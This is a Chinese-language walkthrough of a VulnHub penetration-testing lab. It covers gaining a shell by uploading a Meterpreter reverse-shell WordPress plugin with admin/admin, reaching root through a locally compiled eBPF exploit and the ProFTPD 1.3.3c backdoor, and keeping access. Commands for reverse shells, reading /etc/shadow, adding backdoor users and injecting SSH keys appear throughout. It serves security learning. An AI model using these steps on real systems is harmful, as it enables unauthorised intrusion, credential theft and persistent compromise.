渗透测试完整历程:从 WordPress 弱口令到 Root 提权

靶场链接https://www.vulnhub.com/entry/basic-pentesting-1,216/

目标环境 :192.168.198.145 (Ubuntu 16.04.3 LTS, 内核 4.10.0-28-generic)

攻击机:Kali Linux (IP: 192.168.198.143)

1. 信息收集与突破口

  • 端口扫描nmap -O -sV 192.168.198.145 发现 21(ProFTPD 1.3.3c)、22(SSH)、80(Apache 2.4.18)。
  • 目录爆破dirb http://192.168.198.145 发现 /secret/ 目录,进而定位 WordPress 安装在 /secret/ 下。
  • 漏洞扫描 :AWVS 发现 /secret/wp-login.php 存在弱口令 admin / admin

关键入口:WordPress 后台管理权限 → 通过插件上传功能获得代码执行能力。

2. 获得初始 Shell (Meterpreter)

2.1 生成恶意插件并打包

使用 msfvenom 生成 PHP Meterpreter payload:

复制代码
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.198.143 LPORT=8888 -o shell.php

重要 :WordPress 插件必须包含有效的插件头,否则上传时会提示"没有找到有效的插件"。在 shell.php<?php 后添加如下注释:

复制代码
/**
 * Plugin Name: Evil Shell
 * Description: Meterpreter reverse shell
 * Version: 1.0
 * Author: Attacker
 */

然后将 shell.php 打包为 evil.zip

2.2 上传插件并激活

  • 登录 WordPress 后台 (http://192.168.198.145/secret/wp-login.php) 用户名 admin,密码 admin
  • 导航至 Plugins → Add New → Upload Plugin ,选择 evil.zip 并安装,激活插件。

2.3 开启 Metasploit 监听并触发

复制代码
msfconsole -q
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set LHOST 192.168.198.143
set LPORT 8888
exploit -j

访问 http://192.168.198.145/secret/ 触发 Payload,获得 Meterpreter 会话 (用户 www-data)。

常见卡点 #1:插件上传失败

现象:"该软件包无法安装。没有找到有效的插件。"

原因:zip 内的 PHP 文件缺少 WordPress 插件头部注释。

解决:在文件开头添加 /** Plugin Name: xxx */ 格式的注释块。

常见卡点 #2:端口 8888 已被占用

报错:Rex::BindFailed: address already in use

解决:lsof -i :8888 找到 PID,kill -9 PID 释放端口,重新启动 handler。

3. 提权过程:从 www-data 到 root

目标系统:Ubuntu 16.04.3,内核 4.10.0-28,GLIBC 版本 2.23(较低)。当前用户 www-data,无 sudo 权限。

3.1 自动提权建议失败

复制代码
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

输出:No suggestions available 并伴随大量 Ruby 异常。

原因 :当前 Meterpreter 是由 php/meterpreter_reverse_tcp payload 建立的,功能受限,无法执行本地漏洞扫描模块。

3.2 尝试 CVE-2017-16995 (eBPF) ------ 动态链接版本不兼容

在 Kali 上获取漏洞源码并编译:

复制代码
searchsploit -m 45010
gcc 45010.c -o exploit
upload /root/exploit /tmp/

在目标机执行:./exploit 报错:

复制代码
GLIBC_2.34 not found (required by ./exploit)

原因分析:Kali 系统的 GLIBC 版本较高(≥2.34),而目标 Ubuntu 16.04 仅支持 GLIBC_2.23,动态链接的二进制无法运行。

3.3 尝试 Dirty Cow (CVE-2016-5195) ------ 缺库及版本问题

复制代码
searchsploit -m 40839
gcc -pthread 40839.c -o dirtycow

编译报错:undefined reference to `crypt',添加 -lcrypt 解决:gcc -pthread 40839.c -o dirtycow -lcrypt

上传执行后仍然报错:XCRYPT_2.0 not found 以及 GLIBC_2.33 / 2.34 not found

根本原因:同样因为编译环境 glibc/libcrypt 版本过高,不兼容老旧目标系统。

3.4 最终方案:在目标机上直接编译源码

检查目标机是否具备编译器:which gcc && gcc --version 返回 gcc 5.4.0,完美满足条件。

操作步骤

  • 45010.c 源码上传到目标机的 /tmpupload /root/45010.c /tmp/

  • 进入目标 shell:shell

  • 编译并执行:

    cd /tmp
    gcc 45010.c -o exploit
    chmod +x exploit
    ./exploit

成功获得 root shell,id 显示 uid=0(root) gid=0(root)

核心经验 :当预编译二进制因 glibc 版本不兼容而失败时,上传源码到目标机本地编译 是最可靠的解决方式。也可以使用静态编译 gcc -static exploit.c -o exploit 生成不依赖外部 glibc 的二进制,但文件体积较大。

4. 踩坑汇总表

问题现象 根本原因 解决方案
WordPress 插件上传失败 / 无效插件 PHP 文件缺少插件头注释 <?php 后添加 /** Plugin Name: xxx */
拖拽/复制文件到虚拟机失败 VMware Tools 功能故障 使用 python -m http.server 或 meterpreter upload
Metasploit 端口绑定失败 (already in use) 残留监听进程占用端口 lsof -i :portkill -9 PID
目标机无法 wget 下载 exploit 网络隔离或防火墙限制 使用 meterpreter upload 本机文件
预编译二进制报 GLIBC 版本错误 编译环境 glibc 版本高于目标机 上传源码到目标机本地编译,或使用 gcc -static
Dirty Cow 编译报 undefined reference to crypt 未链接 libcrypt 库 编译时加 -lcrypt 参数
local_exploit_suggester 无结果 php meterpreter 会话功能受限 手工利用漏洞,不依赖自动化模块

5. 缺失知识点与延伸补充

5.1 环境边界意识

  • meterpreter 与 Kali 本地终端的区别 :在 meterpreter > 提示符下只能执行 Metasploit 内置命令(upload, download, shell, ps 等),不能直接运行 searchsploit, gcc, wget 等系统命令。这些命令必须在 Kali 本地终端中执行。
  • 会话管理sessions -i <id> 切换会话,background 将当前会话放到后台,jobs -K 杀掉所有任务。

5.2 编译与跨环境兼容性

  • 动态链接 vs 静态链接 :动态链接的二进制依赖于目标系统的共享库(如 libc.so.6)。不同 Linux 发行版或不同版本的 glibc 可能导致"版本未找到"错误。静态链接(-static)将库直接嵌入可执行文件,提高兼容性,但体积较大。
  • 常见编译参数
    • -pthread:链接 POSIX 线程库。
    • -lcrypt:链接加密库(用于 crypt 函数)。
    • -ldl:链接动态加载库。
    • -static:静态链接。
  • 交叉编译:若目标机架构不同(如 ARM),可使用交叉编译工具链。本例为 x86_64 相同架构,故直接编译即可。
  • 检查目标机编译环境which gcc, gcc --version, dpkg -l | grep build-essential。若无编译器且可联网,apt update && apt install gcc -y

5.3 漏洞利用资源库使用技巧

  • searchsploit <关键词>:如 searchsploit ubuntu 16.04 localsearchsploit -m 45010 复制到当前目录。
  • 查看 exploit 源码注释:通常头部包含适用版本、编译方法、用法说明。例如 45010.c 明确注明 // Ubuntu 16.04 4.8.0-34-generic 等。
  • 常用提权漏洞编号:
    • CVE-2017-16995 (eBPF) → 45010
    • CVE-2016-5195 (Dirty Cow) → 40839 / 40616
    • CVE-2017-1000112 (UFO) → 43127
    • CVE-2021-3156 (sudo 溢出) → 49361
    • CVE-2021-4034 (pwnkit) → 51206

5.4 提权后的基本后渗透操作

  • 信息收集

    复制代码
    cat /etc/passwd /etc/shadow
    history
    ip a ; route -n
    ps auxf
    find / -perm -4000 2>/dev/null
  • 持久化访问

    • 添加 root 用户:useradd -m -s /bin/bash backdoor; echo 'backdoor:pass123' | chpasswd; usermod -aG sudo backdoor
    • 添加 SSH 公钥:echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
    • 创建定时任务(cron)反弹 shell。
  • 横向移动 :使用 nmap -sn 192.168.198.0/24 扫描同网段存活主机,配合 proxychains 代理扫描内网服务。抓取密码哈希后用 John the Ripper 或 Hashcat 破解。

5.5 学习路线与实战思维

  • 靶场练习:VulnHub 上的 Ubuntu 16.04 靶机(如 FristiLeaks, Mr-Robot, Raven)反复练习手工提权。
  • 理解底层原理:ELF 文件格式、动态链接器 ld-linux、环境变量 LD_PRELOAD 劫持、SUID 机制。
  • 后渗透框架 :Metasploit 的 post 模块(linux/gather/hashdump, manage/sshkey_persistence)和 Meterpreter 脚本。
  • 心理与流程
    • 遇到错误逐条阅读输出,定位关键词(如 GLIBC, not found)。
    • 分步验证:每次执行命令后立即 ls, pwd, id 确认状态。
    • 不要只依赖自动化工具,手工利用漏洞(如本地编译)往往是最终王牌。

6. 总结

本次渗透测试成功利用了 WordPress 弱口令进入后台,上传构造的恶意插件获得 www-data 初始 Shell。面对自动提权模块失效、预编译二进制因 glibc 版本不兼容而失败的情况,通过将 exploit 源码上传至目标机本地编译,最终利用 CVE-2017-16995 成功提权至 root。整个过程凸显了环境适配能力手工漏洞利用的重要性。

今后打算,加强对以下方面的练习:Linux 编译与库依赖、漏洞利用代码的搜索与解读、后渗透信息收集与持久化。反复在靶场中模拟类似场景,将逐步形成独立的渗透思维。



后续

渗透补充:IP 变更导致会话中断,ProFTPD 后门紧急接管

前面通过 WordPress 弱口令上传插件获得 Meterpreter 会话,并成功利用 CVE-2017-16995 提权至 root。但随后靶机 IP 从 192.168.198.145 变更为 192.168.198.146,导致原有会话断开,SSH 公钥注入尚未完成。后利用利用备用路径(ProFTPD 1.3.3c 后门)重新获得 root shell 并建立持久化 SSH 后门。

1. 会话中断原因分析

  • 靶机使用 DHCP 动态获取 IP,重启或网络重置后 IP 发生变化。
  • Meterpreter 会话基于 TCP 连接,IP 变更后连接自然失效。
  • 当时尚未完成 SSH 公钥注入,因此无法直接 SSH 登录。
  • WordPress 入口出现空白页(可能 PHP 错误或插件被删),无法快速恢复 Meterpreter。

教训:拿到 root 后第一件事应当是建立持久化后门(SSH 公钥、计划任务等),避免因 IP 变化或进程死亡而失去控制权。

2. 备选路径:ProFTPD 1.3.3c 后门漏洞 (CVE-2010-4221)

2.1 漏洞回顾

在最初的信息收集阶段,nmap 扫描结果已经显示目标开放 21 端口,且服务版本为 ProFTPD 1.3.3c

复制代码
21/tcp open  ftp     ProFTPD 1.3.3c

该版本曾在官方源码中被植入后门,攻击者无需认证,只需发送特定命令 HELP ACIDBITCHEZ 即可获得远程 root shell。

2.2 利用步骤

使用 Metasploit 的专用模块:

复制代码
msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOST 192.168.198.146
RHOST => 192.168.198.146
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set PAYLOAD cmd/unix/reverse_perl
PAYLOAD => cmd/unix/reverse_perl
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.198.143
LHOST => 192.168.198.143
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set LPORT 4444
LPORT => 4444
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

2.3 执行结果

复制代码
[*] Started reverse TCP handler on 192.168.198.143:4444
[*] 192.168.198.146:21 - Sending Backdoor Command
[*] Command shell session 1 opened (192.168.198.143:4444 -> 192.168.198.146:41798) at 2026-06-09 01:50:45 -0400

成功获得一个 root 权限的命令行 shell(非 meterpreter)。

3. 建立 SSH 持久化后门

由于当前 shell 不稳定(依赖 Metasploit 会话),立刻注入 SSH 公钥实现长期稳定访问。

3.1 在 Kali 上准备 SSH 公钥

复制代码
# 查看已有公钥
cat ~/.ssh/id_rsa.pub
# 若没有,生成密钥对
ssh-keygen -t rsa -b 4096

3.2 在目标 shell 中写入公钥

进入 session 1 并执行:

复制代码
sessions -i 1
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

3.3 验证 SSH 登录

在 Kali 中测试:

复制代码
ssh root@192.168.198.146

首次连接需接受主机密钥,之后成功登录:

复制代码
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)
root@vtcsec:~#

持久化后门建立完成。即使 IP 再次变化,只要扫描到 22 端口即可通过公钥登录。

4. 为何不继续使用 WordPress 路径?

  • 登录页面 /secret/wp-login.php 变为空白(可能 PHP 错误、数据库连接失败或插件被删)。
  • 原有恶意插件可能已被清理,重新上传需要再次登录后台,但空白页导致无法操作。
  • ProFTPD 漏洞更直接,无需依赖 Web 环境,且直接获得 root。

5. 关于域名探测

在整个渗透过程中,未发现目标绑定的域名 。访问 IP 即可直接响应,无 HTTP 重定向或虚拟主机配置。使用 nslookup 192.168.198.146dig -x 192.168.198.146 均未返回 PTR 记录。因此后续所有操作均基于 IP 地址进行。

6. 后续操作摘要

  • 收集系统信息:uname -acat /etc/os-releaseid 确认 root。
  • 抓取敏感文件:/etc/shadow 中 marlinspike 用户的 SHA-512 哈希,可用于离线破解。
  • 内网探测:nmap -sn 192.168.198.0/24 扫描同网段存活主机。
  • 维持访问:除 SSH 公钥外,还可添加隐藏用户或定时反弹任务。

7. 经验总结

关键点 教训
IP 动态变更 持久化后门必须在拿到 root 后立即完成,不可拖延。
备用路径的重要性 信息收集阶段应记录所有服务版本,ProFTPD 后门成为救场关键。
SSH 公钥注入 比 Meterpreter 会话更稳定,不依赖特定端口和进程。
域名探测 若目标无域名,直接使用 IP 进行攻击即可,不影响后续。

补充:本次成功利用 ProFTPD 漏洞完全基于最初 nmap 扫描发现的服务信息。这也再次证明,渗透测试中全面、准确的端口与版本识别是后续所有攻击的基石。


记录时间:2026-06-09 | 攻击机:Kali 192.168.198.143 | 目标:192.168.198.146 (Ubuntu 16.04)


完整攻击链路记录 | 关键突破:目标机本地编译绕过 glibc 不兼容 | 用于学习和复盘